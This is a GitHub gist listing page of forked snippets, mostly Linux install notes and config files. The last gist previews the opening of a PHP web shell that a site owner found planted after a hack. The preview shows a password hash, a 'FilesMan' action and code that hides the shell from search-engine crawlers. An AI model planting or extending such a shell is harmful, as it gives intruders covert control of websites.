Skip to content

Instantly share code, notes, and snippets.

姚文强 yaowenqiang

Block or report user

Report or block yaowenqiang

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
yaowenqiang / .gdbinit
Created Nov 25, 2019 — forked from tetsuok/.gdbinit
Turning off optimization and inlining in Go gc compilers for debugging.
View .gdbinit
source /usr/local/go/src/pkg/runtime/
b main.main
yaowenqiang / php.ini
Created Nov 11, 2019 — forked from camshaft/php.ini
Optimized php.ini
View php.ini
; About php.ini ;
; PHP's initialization file, generally called php.ini, is responsible for
; configuring many of the aspects of PHP's behavior.
engine = On
yaowenqiang / PHP - Install AMQP Extension
Created Nov 5, 2019 — forked from hamidreza-s/PHP - Install AMQP Extension
Installing AMQP Extension for PHP in CentOS operation system. This will create an shared object that needs to be included in your php.ini file. Find the extensions portal of the ini and add “”.
View PHP - Install AMQP Extension
$ git clone git://
$ cd rabbitmq-c
$ git submodule init
$ git submodule update
$ yum install libtool
$ yum install autoconf
$ yum install automake
$ yum install php-pear
$ yum install php-devel
$ make
yaowenqiang /
Created Oct 31, 2019 — forked from igorepst/
Install Vim8 with Python3 and GTK3 on CentOS 7.5
sudo yum install epel-release
sudo yum install gcc-c++ ncurses-devel ruby ruby-devel lua lua-devel luajit luajit-devel ctags python python-devel python3 python3-devel tcl-devel perl perl-devel perl-ExtUtils-ParseXS perl-ExtUtils-XSpp perl-ExtUtils-CBuilder perl-ExtUtils-Embed cscope gtk3-devel libSM-devel libXt-devel libXpm-devel libappstream-glib libacl-devel gpm-devel
yum list installed | grep -i vim
# sudo yum erase vim-common.x86_64 vim-enhanced.x86_64 vim-filesystem.x86_64 vim-X11
# sudo depends on vim-minimal
sudo rpm -e --nodeps vim-minimal
sudo ln -s /usr/bin/python3.6 python3
View client.c
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#define MAX_BUF 1024
#define pipename "\\\\.\\pipe\\LogPipe"
int main()
View redis.lua
local redis_c = require "resty.redis"
local ok, new_tab = pcall(require, "")
if not ok or type(new_tab) ~= "function" then
new_tab = function (narr, nrec) return {} end
local _M = new_tab(0, 155)
yaowenqiang / golang.gitlab-ci.yml
Created Sep 18, 2019 — forked from npenkov/golang.gitlab-ci.yml
gitlab-ci for Go projects using go dep.
View golang.gitlab-ci.yml
# Replace "projectname" and "username"
image: golang:1.9
BIN_NAME: projectname
ARTIFACTS_DIR: artifacts
- build
yaowenqiang /
Created Aug 31, 2019 — forked from backroot/
neovim install for centos 7
yum -y install epel-release
curl -o /etc/yum.repos.d/dperson-neovim-epel-7.repo
yum -y install neovim --enablerepo=epel
yaowenqiang /
Created Jan 30, 2019 — forked from 2called-chaos/
enable nginx vim syntax highlighting (on Ubuntu/Debian)
mkdir -p ~/.vim/syntax/
cd ~/.vim/syntax/
mv download_script.php\?src_id\=19394 nginx.vim
cat > ~/.vim/filetype.vim <<EOF
au BufRead,BufNewFile /etc/nginx/*,/usr/local/nginx/conf/* if &ft == '' | setfiletype nginx | endif
yaowenqiang / hacker
Created Jan 24, 2019 — forked from anonymous/hacker
One of my sites was hacked and this is one of the primary files that was inserted into the root.
View hacker
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
You can’t perform that action at this time.